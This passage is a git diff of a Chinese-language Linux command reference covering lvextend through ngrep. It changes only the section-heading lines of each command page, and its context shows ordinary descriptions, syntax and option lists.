``` -### 参数 +### 参数 逻辑卷：指定要扩展空间的逻辑卷。 -### 实例 +### 实例 使用lvextend命令为逻辑卷`/dev/vg1000/lvol0`增加100M空间。在命令行中输入下面的命令： diff --git a/command/lvreduce.md b/command/lvreduce.md index e44f6bdf73e..1d885eb1908 100644 --- a/command/lvreduce.md +++ b/command/lvreduce.md @@ -7,24 +7,24 @@ lvreduce **lvreduce命令** 用于减少LVM逻辑卷占用的空间大小。使用lvreduce命令收缩逻辑卷的空间大小有可能会删除逻辑卷上已有的数据，所以在操作前必须进行确认。 -### 语法 +### 语法 ```shell lvreduce(选项)(参数) ``` -### 选项 +### 选项 ```shell -L：指定逻辑卷的大小，单位为“kKmMgGtT”字节； -l：指定逻辑卷的大小（LE数）。 ``` -### 参数 +### 参数 逻辑卷：指定要操作的逻辑卷对应的设备文件。 -### 实例 +### 实例 使用lvreduce命令减少指定的逻辑卷的空间大小。在命令行中输入下面的命令： diff --git a/command/lvremove.md b/command/lvremove.md index 6475f8de712..0ecb5765d1b 100644 --- a/command/lvremove.md +++ b/command/lvremove.md @@ -7,23 +7,23 @@ lvremove **lvremove命令** 用于删除指定LVM逻辑卷。如果逻辑卷已经使用mount命令加载，则不能使用lvremove命令删除。必须使用umount命令卸载后，逻辑卷方可被删除。 -### 语法 +### 语法 ```shell lvremove(选项)(参数) ``` -### 选项 +### 选项 ```shell -f：强制删除。 ``` -### 参数 +### 参数 逻辑卷：指定要删除的逻辑卷。 -### 实例 +### 实例 使用lvremove命令删除指定的逻辑卷。在命令行中输入下面的命令： diff --git a/command/lvresize.md b/command/lvresize.md index 9933f07cf4b..93b7f1373ee 100644 --- a/command/lvresize.md +++ b/command/lvresize.md @@ -7,24 +7,24 @@ lvresize **lvresize命令** 用于调整LVM逻辑卷的空间大小，可以增大空间和缩小空间。使用lvresize命令调整逻辑卷空间大小和缩小空间时需要谨慎，因为它有可能导致数据丢失。 -### 语法 +### 语法 ```shell lvresize(选项)(参数) ``` -### 选项 +### 选项 ```shell -L：指定逻辑卷的大小，单位为“kKmMgGtT”字节； -l：指定逻辑卷的大小（LE数）。 ``` -### 参数 +### 参数 逻辑卷：指定要删除的逻辑卷。 -### 实例 +### 实例 使用lvresize命令调整最大的逻辑卷大小。在命令行中输入下面的命令： diff --git a/command/lvscan.md b/command/lvscan.md index eb7f11d3545..fc931871712 100644 --- a/command/lvscan.md +++ b/command/lvscan.md @@ -7,19 +7,19 @@ lvscan **lvscan命令** 用于扫描当前系统中存在的所有的LVM逻辑卷。使用lvscan指令可以发现系统中的所有逻辑卷，及其对应的设备文件。 -### 语法 +### 语法 ```shell lvscan(选项) ``` -### 选项 +### 选项 ```shell -b：显示逻辑卷的主设备和次设备号。 ``` -### 实例 +### 实例 使用lvscan命令扫描系统中的所有逻辑卷。在命令行中输入下面的命令： diff --git a/command/lynx.md b/command/lynx.md index d01e97109d7..28e69fd2c44 100644 --- a/command/lynx.md +++ b/command/lynx.md @@ -7,13 +7,13 @@ lynx **lynx命令** 是纯文本模式的网页浏览器，不支持图形、音视频等多媒体信息。 -### 语法 +### 语法 ```shell lynx(选项)(参数) ``` -### 选项 +### 选项 ```shell -case：在搜索字符串时，区分大小写； @@ -26,7 +26,7 @@ lynx(选项)(参数) --versiom：显示指令的版本信息。 ``` -### 参数 +### 参数 URL：指定要访问的网站的URL地址。 diff --git a/command/mail.md b/command/mail.md index f32dd56b1f7..6978f3c6649 100644 --- a/command/mail.md +++ b/command/mail.md @@ -7,13 +7,13 @@ mail **mail命令** 是命令行的电子邮件发送和接收工具。操作的界面不像elm或pine那么容易使用，但功能非常完整。 -### 语法 +### 语法 ```shell mail(选项)(参数) ``` -### 选项 +### 选项 ```shell -b<地址>：指定密件副本的收信人地址； @@ -28,11 +28,11 @@ mail(选项)(参数) -v：执行时，显示详细的信息。 ``` -### 参数 +### 参数 邮件地址：收信人的电子邮箱地址。 -### 实例 +### 实例 **直接使用shell当编辑器** diff --git a/command/mailq.md b/command/mailq.md index 942d02f738e..10da76454ad 100644 --- a/command/mailq.md +++ b/command/mailq.md @@ -7,19 +7,19 @@ mailq **mailq命令** 用户显示待发送的邮件队列，显示的每一个条目包括邮件队列id、邮件大小、加入队列时间、邮件发送者和接受者。如果邮件最后一次尝试后还没有将邮件投递出去，则显示发送失败的原因。 -### 语法 +### 语法 ```shell mailq(选项) ``` -### 选项 +### 选项 ```shell -v：显示详细的信息。 ``` -### 实例 +### 实例 ```shell [root@localhost ~]# mailq -v diff --git a/command/mailstat.md b/command/mailstat.md index 139106945fa..43f094e5e9a 100644 --- a/command/mailstat.md +++ b/command/mailstat.md @@ -7,13 +7,13 @@ mailstat **mailstat命令** 用来显示到达的邮件状态。 -### 语法 +### 语法 ```shell mailstat(选项)(参数) ``` -### 选项 +### 选项 ```shell -k：保持邮件日志文件的完整性，不清空日志文件； @@ -24,7 +24,7 @@ mailstat(选项)(参数) -s：如果没有邮件则不输出任何信息。 ``` -### 参数 +### 参数 邮件日志文件：指定要读取邮件日志文件。 diff --git a/command/make.md b/command/make.md index 55926e1d426..431e62a1597 100644 --- a/command/make.md +++ b/command/make.md @@ -7,13 +7,13 @@ GNU的工程化编译工具 **make命令** 是GNU的工程化编译工具，用于编译众多相互关联的源代码问价，以实现工程化的管理，提高开发效率。 -### 语法 +### 语法 ```shell make(选项)(参数) ``` -### 选项 +### 选项 ```shell -f：指定“makefile”文件； @@ -36,11 +36,11 @@ Linux下常用选项与Unix系统中稍有不同，下面是不同的部分： -w：在处理 makefile 之前和之后，都显示工作目录。 ``` -### 参数 +### 参数 目标：指定编译目标。 -### 知识扩展 +### 知识扩展 无论是在linux 还是在Unix环境 中，make都是一个非常重要的编译命令。不管是自己进行项目开发还是安装应用软件，我们都经常要用到make或make install。利用make工具，我们可以将大型的开发项目分解成为多个更易于管理的模块，对于一个包括几百个源文件的应用程序，使用make和 makefile工具就可以简洁明快地理顺各个源文件之间纷繁复杂的相互关系。 diff --git a/command/man.md b/command/man.md index 7561e7ad985..dd18663542e 100644 --- a/command/man.md +++ b/command/man.md @@ -7,13 +7,13 @@ man **man命令** 是Linux下的帮助指令，通过man指令可以查看Linux中的指令帮助、配置文件帮助和编程帮助等信息。 -### 语法 +### 语法 ```shell man(选项)(参数) ``` -### 选项 +### 选项 ```shell -a：在所有的man帮助手册中搜索； @@ -22,7 +22,7 @@ man(选项)(参数) -M：指定man手册搜索的路径。 ``` -### 参数 +### 参数 * 数字：指定从哪本man手册中搜索帮助； * 关键字：指定要搜索帮助的关键字。 @@ -41,7 +41,7 @@ man(选项)(参数) 9：跟kernel有关的文件 ``` -### 实例 +### 实例 我们输入`man ls`，它会在最左上角显示“LS（1）”，在这里，“LS”表示手册名称，而“（1）”表示该手册位于第一节章，同样，我们输`man ifconfig`它会在最左上角显示“IFCONFIG（8）”。也可以这样输入命令：“man [章节号] 手册名称”。 diff --git a/command/md5sum.md b/command/md5sum.md index b6503c47349..a9a45b7a419 100644 --- a/command/md5sum.md +++ b/command/md5sum.md @@ -9,13 +9,13 @@ md5sum MD5算法常常被用来验证网络文件传输的完整性，防止文件被人篡改。MD5 全称是报文摘要算法（Message-Digest Algorithm 5），此算法对任意长度的信息逐位进行计算，产生一个二进制长度为128位（十六进制长度就是32位）的“指纹”（或称“报文摘要”），不同的文件产生相同的报文摘要的可能性是非常非常之小的。 -### 语法 +### 语法 ```shell md5sum(选项)(参数) ``` -### 选项 +### 选项 ```shell -b：二进制模式读取文件； @@ -25,7 +25,7 @@ md5sum(选项)(参数) -w：当校验不正确时给出警告信息。 ``` -### 参数 +### 参数 文件：指定保存着文件名和校验和的文本文件。 diff --git a/command/mesg.md b/command/mesg.md index 01dd70c595f..59d62defeec 100644 --- a/command/mesg.md +++ b/command/mesg.md @@ -7,17 +7,17 @@ mesg **mesg命令** 用于设置当前终端的写权限，即是否让其他用户向本终端发信息。将mesg设置y时，其他用户可利用write命令将信息直接显示在您的屏幕上。 -### 语法 +### 语法 ```shell mesg(参数) ``` -### 参数 +### 参数 y/n：y表示运行向当前终端写信息，n表示禁止向当前终端写信息。 -### 实例 +### 实例 ```shell [root@localhost ~]# mesg y #允许系统用户将信息直接显示在你的屏幕上。 diff --git a/command/mii-tool.md b/command/mii-tool.md index 312c8de59be..0fbe9a27b3b 100644 --- a/command/mii-tool.md +++ b/command/mii-tool.md @@ -7,13 +7,13 @@ mii-tool **mii-tool命令** 是用于查看、管理介质的网络接口的状态，有时网卡需要配置协商方式，比如10/100/1000M的网卡半双工、全双工、自动协商的配置。但大多数的网络设备是不用我们来修改协商，因为大多数网络设置接入的时候，都采用自动协商来解决相互通信的问题。不过自动协商也不是万能的，有时也会出现错误，比如丢包率比较高，这时就要我们来指定网卡的协商方式。mii-tool就是能指定网卡的协商方式。下面我们说一说mii-tool的用法。 -### 语法 +### 语法 ```shell usage: mii-tool [-VvRrwl] [-A media,... | -F media] [interface ...] ``` -### 选项 +### 选项 ```shell -V 显示版本信息； @@ -29,7 +29,7 @@ media: 100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD,         (to advertise both HD and FD) 100baseTx, 10baseT ``` -### 实例 +### 实例 查看网络接口的协商状态： diff --git a/command/mkbootdisk.md b/command/mkbootdisk.md index 3d4676067cd..1cc080aa97e 100644 --- a/command/mkbootdisk.md +++ b/command/mkbootdisk.md @@ -7,13 +7,13 @@ mkbootdisk **mkbootdisk命令** 用来为当前运行的系统创建能够单独使用的系统引导软盘，以便在系统出现故障时能够启动操作进行适当的修复工作。 -### 语法 +### 语法 ```shell mkbootdisk(选项)(参数) ``` -### 选项 +### 选项 ```shell --device<设备>：指定设备； @@ -23,11 +23,11 @@ mkbootdisk(选项)(参数) --version：显示版本信息。 ``` -### 参数 +### 参数 内核：指定内核版本。 -### 实例 +### 实例 ```shell mkbootdisk --device /dev/fd0 `uname -r` diff --git a/command/mkdir.md b/command/mkdir.md index 40e76863f3b..2234b1bba14 100644 --- a/command/mkdir.md +++ b/command/mkdir.md @@ -11,13 +11,13 @@ mkdir 在一个子目录中应包含类型相似或用途相近的文件。例如，应建立一个子目录，它包含所有的数据库文件，另有一个子目录应包含电子表格文件，还有一个子目录应包含文字处理文档，等等。目录也是文件，它们和普通文件一样遵循相同的命名规则，并且利用全路径可以唯一地指定一个目录。 -### 语法 +### 语法 ```shell mkdir (选项)(参数) ``` -### 选项 +### 选项 ```shell -Z：设置安全上下文，当使用SELinux时有效； @@ -26,11 +26,11 @@ mkdir (选项)(参数) --version 显示版本信息。 ``` -### 参数 +### 参数 目录：指定要创建的目录列表，多个目录之间用空格隔开。 -### 实例 +### 实例 在目录`/usr/meng`下建立子目录test，并且只有文件主有读、写和执行权限，其他人无权访问 diff --git a/command/mke2fs.md b/command/mke2fs.md index 7ba4f948c21..f14201845db 100644 --- a/command/mke2fs.md +++ b/command/mke2fs.md @@ -7,13 +7,13 @@ mke2fs **mke2fs命令** 被用于创建磁盘分区上的“etc2/etc3”文件系统。 -### 语法 +### 语法 ```shell mke2fs(选项)(参数) ``` -### 选项 +### 选项 ```shell -b<区块大小>：指定区块大小，单位为字节； @@ -34,12 +34,12 @@ mke2fs(选项)(参数) -V：显示版本信息。 ``` -### 参数 +### 参数 * 设备文件：指定要创建的文件系统的分区设备文件名； * 块数：指定要创建的文件系统的磁盘块数量。 -### 实例 +### 实例 创建指定的ext2文件系统。 diff --git a/command/mkfs.md b/command/mkfs.md index 37ad75f4d56..5fd88c47bbf 100644 --- a/command/mkfs.md +++ b/command/mkfs.md @@ -7,13 +7,13 @@ mkfs **mkfs命令** 用于在设备上（通常为硬盘）创建Linux文件系统。mkfs本身并不执行建立文件系统的工作，而是去调用相关的程序来执行。 -### 语法 +### 语法 ```shell mkfs(选项)(参数) ``` -### 选项 +### 选项 ```shell fs：指定建立文件系统时的参数； @@ -23,12 +23,12 @@ fs：指定建立文件系统时的参数； -c：在制做档案系统前，检查该partition是否有坏轨。 ``` -### 参数 +### 参数 * 文件系统：指定要创建的文件系统对应的设备文件名； * 块数：指定文件系统的磁盘块数。 -### 实例 +### 实例 在`/dev/hda5`上建一个msdos的档案系统，同时检查是否有坏轨存在，并且将过程详细列出来： diff --git a/command/mkinitrd.md b/command/mkinitrd.md index 9d40a9ec765..b0a46da4406 100644 --- a/command/mkinitrd.md +++ b/command/mkinitrd.md @@ -9,13 +9,13 @@ mkinitrd 这个是重新封包核心的命令，例如你自己修改了一个设备的驱动，如果这个驱动要加入核心级别的话，就需要对核心进行重新封包，把新加的配置编译到核心内部去！ -### 语法 +### 语法 ```shell mkinitrd(选项)(参数) ``` -### 选项 +### 选项 ```shell -f：若指定的映像问家名称与现有文件重复，则覆盖现有的文件； @@ -26,12 +26,12 @@ mkinitrd(选项)(参数) --version：显示版本信息。 ``` -### 参数 +### 参数 * 映像文件：指定要创建的映像文件； * 内核版本：指定内核版本。 -### 实例 +### 实例 ```shell [root@localhost tmp]# mkinitrd -v -f myinitrd.img $(uname -r) diff --git a/command/mkisofs.md b/command/mkisofs.md index ad56bc8cfc9..4af5c119a77 100644 --- a/command/mkisofs.md +++ b/command/mkisofs.md @@ -7,13 +7,13 @@ mkisofs **mkisofs命令** 用来将指定的目录与文件做成ISO 9660格式的映像文件，以供刻录光盘。 -### 语法 +### 语法 ```shell mkisofs(选项)(参数) ``` -### 选项 +### 选项 ```shell -a或--all：mkisofs通常不处理备份文件。使用此参数可以把备份文件加到映像文件中； @@ -53,11 +53,11 @@ mkisofs(选项)(参数) -z：建立通透性压缩文件的SUSP记录，此记录目前只在Alpha机器上的Linux有效。 ``` -### 参数 +### 参数 路径：需要添加到映像文件中的路径。 -### 实例 +### 实例 linux中用mkisofs命令把文件制作成ISO步骤： diff --git a/command/mknod.md b/command/mknod.md index 694c197cad4..c15d28d12e6 100644 --- a/command/mknod.md +++ b/command/mknod.md @@ -7,13 +7,13 @@ mknod **mknod命令** 用于创建Linux中的字符设备文件和块设备文件。 -### 语法 +### 语法 ```shell mknod(选项)(参数) ``` -### 选项 +### 选项 ```shell -Z：设置安全的上下文； @@ -22,14 +22,14 @@ mknod(选项)(参数) --version：显示版本信息。 ``` -### 参数 +### 参数 * 文件名：要创建的设备文件名； * 类型：指定要创建的设备文件的类型； * 主设备号：指定设备文件的主设备号； * 次设备号：指定设备文件的次设备号。 -### 实例 +### 实例 ```shell ls -la /dev/ttyUSB* @@ -37,7 +37,7 @@ crw-rw—- 1 root dialout 188, 0 2008-02-13 18:32 /dev/ttyUSB0 mknod /dev/ttyUSB32 c 188 32 ``` -### 扩展知识 +### 扩展知识 Linux的设备管理是和文件系统紧密结合的，各种设备都以文件的形式存放在/dev目录 下，称为设备文件。应用程序可以打开、关闭和读写这些设备文件，完成对设备的操作，就像操作普通的数据文件一样。 diff --git a/command/mkswap.md b/command/mkswap.md index 37852f68b9c..bb12d385581 100644 --- a/command/mkswap.md +++ b/command/mkswap.md @@ -7,13 +7,13 @@ mkswap **mkswap命令** 用于在一个文件或者设备上建立交换分区。在建立完之后要使用sawpon命令开始使用这个交换区。最后一个选择性参数指定了交换区的大小，但是这个参数是为了向后兼容设置的，没有使用的必要，一般都将整个文件或者设备作为交换区。 -### 语法 +### 语法 ```shell mkswap(选项)(参数) ``` -### 选项 +### 选项 ```shell -c：建立交换区前，先检查是否有损坏的区块； @@ -22,11 +22,11 @@ mkswap(选项)(参数) -v1：建立新式交换区。 ``` -### 参数 +### 参数 设备：指定交换空间对应的设备文件或者交换文件。 -### 实例 +### 实例 **查看系统swap space大小：** diff --git a/command/mktemp.md b/command/mktemp.md index b04f0a95831..5aa31983897 100644 --- a/command/mktemp.md +++ b/command/mktemp.md @@ -7,13 +7,13 @@ mktemp **mktemp命令** 被用来创建临时文件供shell脚本使用。 -### 语法 +### 语法 ```shell mktemp(选项)(参数) ``` -### 选项 +### 选项 ```shell -q：执行时若发生错误，不会显示任何信息； @@ -21,7 +21,7 @@ mktemp(选项)(参数) -d：创建一个目录而非文件。 ``` -### 参数 +### 参数 文件：指定创建的临时文件。 diff --git a/command/modprobe.md b/command/modprobe.md index f9901f74c51..b6dee5d18f1 100644 --- a/command/modprobe.md +++ b/command/modprobe.md @@ -9,13 +9,13 @@ modprobe modprobe可载入指定的个别模块，或是载入一组相依的模块。modprobe会根据depmod所产生的相依关系，决定要载入哪些模块。若在载入过程中发生错误，在modprobe会卸载整组的模块。 -### 语法 +### 语法 ```shell modprobe(选项)(参数) ``` -### 选项 +### 选项 ```shell -a或--all：载入全部的模块； @@ -29,11 +29,11 @@ modprobe(选项)(参数) -help：显示帮助。 ``` -### 参数 +### 参数 模块名：要加载或移除的模块名称。 -### 实例 +### 实例 **查看modules的配置文件：** diff --git a/command/more.md b/command/more.md index 2ab429d589b..bb6b7aad425 100644 --- a/command/more.md +++ b/command/more.md @@ -16,13 +16,13 @@ more * 按B键：显示上一屏内容。 * 按Q键：退出rnore命令。 -### 语法 +### 语法 ```shell more(语法)(参数) ``` -### 选项 +### 选项 ```shell -<数字>：指定每屏显示的行数； @@ -33,11 +33,11 @@ more(语法)(参数) +<数字>：从指定数字的行开始显示。 ``` -### 参数 +### 参数 文件：指定分页显示内容的文件。 -### 实例 +### 实例 显示文件file的内容，但在显示之前先清屏，并且在屏幕的最下方显示完核的百分比。 diff --git a/command/mount.md b/command/mount.md index e81d8e3a6e3..6b49e2091e6 100644 --- a/command/mount.md +++ b/command/mount.md @@ -7,7 +7,7 @@ mount **mount命令** Linux mount命令是经常会使用到的命令，它用于挂载Linux系统外的文件。 -### 语法 +### 语法 ```shell mount [-hV] @@ -16,7 +16,7 @@ mount [-fnrsvw] [-o options [,...]] device | dir mount [-fnrsvw] [-t vfstype] [-o options] device dir ``` -### 选项 +### 选项 ```shell -V：显示程序版本 @@ -46,7 +46,7 @@ mount [-fnrsvw] [-t vfstype] [-o options] device dir -o loop=：使用 loop 模式用来将一个档案当成硬盘分割挂上系统。 ``` -### 实例 +### 实例 将 `/dev/hda1` 挂在 `/mnt` 之下。 diff --git a/command/mpstat.md b/command/mpstat.md index a6f5ce9e8db..82d47df0cb5 100644 --- a/command/mpstat.md +++ b/command/mpstat.md @@ -7,24 +7,24 @@ mpstat **mpstat命令** 指令主要用于多CPU环境下，它显示各个可用CPU的状态系你想。这些信息存放在`/proc/stat`文件中。在多CPUs系统里，其不但能查看所有CPU的平均状况信息，而且能够查看特定CPU的信息。 -### 语法 +### 语法 ```shell mpstat(选项)(参数) ``` -### 选项 +### 选项 ```shell -P：指定CPU编号。 ``` -### 参数 +### 参数 * 间隔时间：每次报告的间隔时间（秒）； * 次数：显示报告的次数。 -### 实例 +### 实例 当mpstat不带参数时，输出为从系统启动以来的平均值。 diff --git a/command/mtools.md b/command/mtools.md index e5cb64d3d15..528734da8a8 100644 --- a/command/mtools.md +++ b/command/mtools.md @@ -7,13 +7,13 @@ mtools **mtools命令** 显示mtools支持的指令，mtools为MS-DOS文件系统的工具程序，可模拟许多MS-DOS的指令。这些指令都是mtools的符号连接，因此会有一些共同的特性。 -### 语法 +### 语法 ```shell mtools(选项) ``` -### 选项 +### 选项 ```shell -a：长文件名重复时自动更改目标文件的长文件名； @@ -28,7 +28,7 @@ mtools(选项) -V：显示版本信息。 ``` -### 实例 +### 实例 使用mtools命令显示其支持的所有的指令，输入如下命令： diff --git a/command/mv.md b/command/mv.md index 3064d14192e..99122ec0fc0 100644 --- a/command/mv.md +++ b/command/mv.md @@ -14,13 +14,13 @@ mv命令可以用来将源文件移至一个目标文件中，或将一组文件 注意事项：mv与cp的结果不同，mv好像文件“搬家”，文件个数并未增加。而cp对文件进行复制，文件个数增加了。 -### 语法 +### 语法 ```shell mv(选项)(参数) ``` -### 选项 +### 选项 ```shell --backup=<备份模式>：若需覆盖文件，则覆盖前先行备份； @@ -33,12 +33,12 @@ mv(选项)(参数) -u：当源文件比目标文件新或者目标文件不存在时，才执行移动操作。 ``` -### 参数 +### 参数 * 源文件：源文件列表。 * 目标文件：如果“目标文件”是文件名则在移动文件的同时，将其改名为“目标文件”；如果“目标文件”是目录名则将源文件移动到“目标文件”下。 -### 实例 +### 实例 将目录`/usr/men`中的所有文件移到当前目录（用`.`表示）中： diff --git a/command/mysql.md b/command/mysql.md index b11d89e6aa7..db16e78629c 100644 --- a/command/mysql.md +++ b/command/mysql.md @@ -7,13 +7,13 @@ MySQL服务器客户端工具 **mysql命令** 是MySQL数据库服务器的客户端工具，它工作在命令行终端中，完成对远程MySQL数据库服务器的操作。 -### 语法 +### 语法 ```shell mysql(选项)(参数) ``` -### 选项 +### 选项 ```shell -h：MySQL服务器的ip地址或主机名； @@ -22,7 +22,7 @@ mysql(选项)(参数) -p：连接MySQL服务器的密码。 ``` -### 参数 +### 参数 数据库：指定连接服务器后自动打开的数据库。 diff --git a/command/mysqladmin.md b/command/mysqladmin.md index a76abd31b26..8369975e8b2 100644 --- a/command/mysqladmin.md +++ b/command/mysqladmin.md @@ -7,13 +7,13 @@ MySQL服务器管理客户端 **mysqladmin命令** 是mysql服务器管理任务的客户端工具，它可以检查mytsql服务器的配置和当前工作状态，创建和删除数据库，创建用户和修改用户密码等操作。 -### 语法 +### 语法 ```shell mysqladmin(选项)(参数) ``` -### 选项 +### 选项 ```shell -h：MySQL服务器主机名或ip地址； @@ -22,7 +22,7 @@ mysqladmin(选项)(参数) --help：显示帮助信息。 ``` -### 参数 +### 参数 管理命令：需要在MySQL服务器上执行的管理命令。 diff --git a/command/mysqldump.md b/command/mysqldump.md index 3a95e4e210c..a5a6ba376b6 100644 --- a/command/mysqldump.md +++ b/command/mysqldump.md @@ -7,13 +7,13 @@ MySQL数据库中备份工具 **mysqldump命令** 是mysql数据库中备份工具，用于将MySQL服务器中的数据库以标准的sql语言的方式导出，并保存到文件中。 -### 语法 +### 语法 ```shell mysqldump(选项) ``` -### 选项 +### 选项 ```shell --add-drop-table：在每个创建数据库表语句前添加删除数据库表的语句； @@ -34,7 +34,7 @@ mysqldump(选项) --user：连接MySQL服务器的用户名。 ``` -### 实例 +### 实例 **导出整个数据库** diff --git a/command/mysqlimport.md b/command/mysqlimport.md index f51ceff031d..b3b76c17c08 100644 --- a/command/mysqlimport.md +++ b/command/mysqlimport.md @@ -7,13 +7,13 @@ mysqlimport **mysqlimport命令** 为mysql数据库服务器提供了一种命令行方式导入数据工具，它从特定格式的文本文件中读取数据插入MySQL数据库表中。 -### 语法 +### 语法 ```shell mysqlimport(选项)(参数) ``` -### 选项 +### 选项 ```shell -D：导入数据前清空表； @@ -23,7 +23,7 @@ mysqlimport(选项)(参数) -p：连接MySQL服务器的密码。 ``` -### 参数 +### 参数 * 数据库名：指定要导入的数据库名称； * 文本文件：包含特定格式文本文件。 diff --git a/command/mysqlshow.md b/command/mysqlshow.md index 334fedf7336..006d727db5b 100644 --- a/command/mysqlshow.md +++ b/command/mysqlshow.md @@ -7,13 +7,13 @@ mysqlshow **mysqlshow命令** 用于显示mysql服务器中数据库、表和列表信息。 -### 语法 +### 语法 ```shell mysqlshow(选项)(参数) ``` -### 选项 +### 选项 ```shell -h：MySQL服务器的ip地址或主机名； @@ -25,7 +25,7 @@ mysqlshow(选项)(参数) -i：显示数据表的额外信息。 ``` -### 参数 +### 参数 数据库信息：指定要显示的数据库信息，可以是一个数据库名，或者是数据库名和表名，或者是数据库名、表名和列名。 diff --git a/command/named-checkzone.md b/command/named-checkzone.md index 01576b1c8c6..ac4601f5f5a 100644 --- a/command/named-checkzone.md +++ b/command/named-checkzone.md @@ -7,13 +7,13 @@ named-checkzone **named-checkzone命令** 可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称。 -### 语法 +### 语法 ```shell named-checkzone [选项] [区域名] [区域文件名] ``` -### 选项 +### 选项 ```shell -q 安静模式 diff --git a/command/nano.md b/command/nano.md index edf5935d4d0..c6813c983b7 100644 --- a/command/nano.md +++ b/command/nano.md @@ -9,13 +9,13 @@ nano nano命令可以打开指定文件进行编辑，默认情况下它会自动断行，即在一行中输入过长的内容时自动拆分成几行，但用这种方式来处理某些文件可能会带来问题，比如Linux系统的配置文件，自动断行就会使本来只能写在一行上的内容折断成多行了，有可能造成系统不灵了。因此，如果你想避免这种情况出现，就加上`-w`选项吧。 -### 语法 +### 语法 ```shell nano [选项] [[+行,列] 文件名]... ``` -### 选项 +### 选项 ```shell -h, -? --help 显示此信息 @@ -62,7 +62,7 @@ nano [选项] [[+行,列] 文件名]... -f, -g, -j (忽略，为与pico 相容) ``` -### 用法 +### 用法 **光标控制** diff --git a/command/nc.md b/command/nc.md index b0f8d64640b..43f77e685f4 100644 --- a/command/nc.md +++ b/command/nc.md @@ -7,14 +7,14 @@ nc **nc命令** 全称**netcat**，用于设置路由器。它能通过 TCP 和 UDP 在网络中读写数据。通过与其他工具结合和重定向，你可以在脚本中以多种方式使用它。使用 netcat 命令所能完成的事情令人惊讶。 -### 语法 +### 语法 ```shell nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>] [-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...] ``` -### 选项 +### 选项 ```shell -g<网关> 设置路由器跃程通信网关，最丢哦可设置8个。 diff --git a/command/ncftp.md b/command/ncftp.md index 767499ca4b0..fad162d8664 100644 --- a/command/ncftp.md +++ b/command/ncftp.md @@ -7,13 +7,13 @@ ncftp **ncftp命令** 是增强的的ftp工具，比传统的FTP指令更加强大。FTP让用户得以下载存放于服务器主机的文件，也能将文件上传到远端主机放置。ncftp是文字模式FTP程序的佼佼者，它具备多样特色，包括显示传输速率，下载进度，自动续传，标住书签，可通过防火墙和代理服务器等。 -### 语法 +### 语法 ```shell ncftp(选项)(参数) ``` -### 选项 +### 选项 ```shell -u：指定登录FTP服务器时使用的用户名； @@ -23,11 +23,11 @@ ncftp(选项)(参数) -R：递规传子目录 ``` -### 参数 +### 参数 FTP服务器：指定远程FTP服务器的ip地址或主机名。 -### 安装 +### 安装 ```shell wget ftp://ftp.ncftp.com/ncftp/ncftp-3.2.3-src.tar.gz @@ -37,7 +37,7 @@ cd ncftp-3.2.3/ make && make install ``` -### 实例 +### 实例 将本地/etc/目录内的所有文件和目录，上传到FTP服务器的flv/games/目录内(如果不存在flv/games/目录则自动创建)。 diff --git a/command/nethogs.md b/command/nethogs.md index 3fe0d3cb9a8..014c33cff06 100644 --- a/command/nethogs.md +++ b/command/nethogs.md @@ -16,12 +16,12 @@ nethogs 本文为你介绍如何在Unix/Linux操作系统下如何安装和使用NetHogs按进程监控网络带宽使用率。 -### 语法 +### 语法 ```shell nethogs（选项）（参数） ``` -### 选项 +### 选项 ```shell usage: nethogs [-V] [-h] [-b] [-d seconds] [-v mode] [-c count] [-t] [-p] [-s] [device [device [device ...]]] @@ -81,7 +81,7 @@ yum install nethogs $ sudo apt-get install nethogs ``` -### NetHogs用法 +### NetHogs用法 在基于RedHat系统下键入如下命令启动NetHogs工具。 @@ -101,7 +101,7 @@ Ubuntu 12.10 下的NetHogs预览 正如上图所示，send列和received列显示的是按照每个进程的流量统计。总的收发数据带宽在最下方，而且可以用交互命令控制排序，下面将要讨论这些交互命令。 -### NetHogs 命令行参数 +### NetHogs 命令行参数 以下就是NetHogs命令行的参数，用-d来添加刷新频率参数，device name 用来检测给定的某个或者某些设备的带宽（默认是eth0）。例如：设置5秒钟的刷新频率，键入如下命令即可： diff --git a/command/netstat.md b/command/netstat.md index 2f15035645a..c6151a4c96e 100644 --- a/command/netstat.md +++ b/command/netstat.md @@ -7,13 +7,13 @@ netstat **netstat命令** 用来打印Linux中网络系统的状态信息，可让你得知整个Linux系统的网络情况。 -### 语法 +### 语法 ```shell netstat(选项) ``` -### 选项 +### 选项 ```shell -a或--all：显示所有连线中的Socket； @@ -42,7 +42,7 @@ netstat(选项) --ip或--inet：此参数的效果和指定"-A inet"参数相同。 ``` -### 实例 +### 实例 **列出所有端口 (包括监听和未监听的)** diff --git a/command/newusers.md b/command/newusers.md index db3cb2a69c6..f0f0e5e0407 100644 --- a/command/newusers.md +++ b/command/newusers.md @@ -7,17 +7,17 @@ newusers **newusers命令** 用于批处理的方式一次创建多个命令。 -### 语法 +### 语法 ```shell newusers(参数) ``` -### 参数 +### 参数 用户文件：指定包含用户信息的文本文件，文件的格式要与`/etc/passwd`相同。 -### 实例 +### 实例 实用newusers命令批量添加用户： diff --git a/command/nfsstat.md b/command/nfsstat.md index 98646ea876c..b665986955f 100644 --- a/command/nfsstat.md +++ b/command/nfsstat.md @@ -7,13 +7,13 @@ nfsstat **nfsstat命令** 用于列出NFS客户端和服务器的工作状态。 -### 语法 +### 语法 ```shell nfsstat(选项) ``` -### 选项 +### 选项 ```shell -s：仅列出NFS服务器端状态； @@ -26,7 +26,7 @@ nfsstat(选项) -r：仅打印rpc状态。 ``` -### 实例 +### 实例 要显示关于客户机发送和拒绝的RPC和NFS调用数目的信息，输入： diff --git a/command/ngrep.md b/command/ngrep.md index bbdf88f6095..b00e69b9ae3 100644 --- a/command/ngrep.md +++ b/command/ngrep.md @@ -7,7 +7,7 @@ ngrep **ngrep命令** 是grep命令的网络版，他力求更多的grep特征，用于搜寻指定的数据包。正由于安装ngrep需用到libpcap库， 所以支持大量的操作系统和网络协议。能识别TCP、UDP和ICMP包，理解bpf的过滤机制。 -### 安装 +### 安装 ngrep命令的下载地址：http://ngrep.sourceforge.net/，libpcap下载地址：http://www.tcpdump.org/。先用`yum install libpcap`完全安装libpcap，注意有时候用libpcap安装包安装的不完整会影响ngrep的使用。 @@ -31,7 +31,7 @@ ngrep的安装就是 configure/make/make install 三部曲。 在安装后输入ngrep来验证下安装是否成功。 -### 语法 +### 语法 ```shell ngrep <-LhNXViwqpevxlDtTRM> <-IO pcap_dump> <-n num> <-d 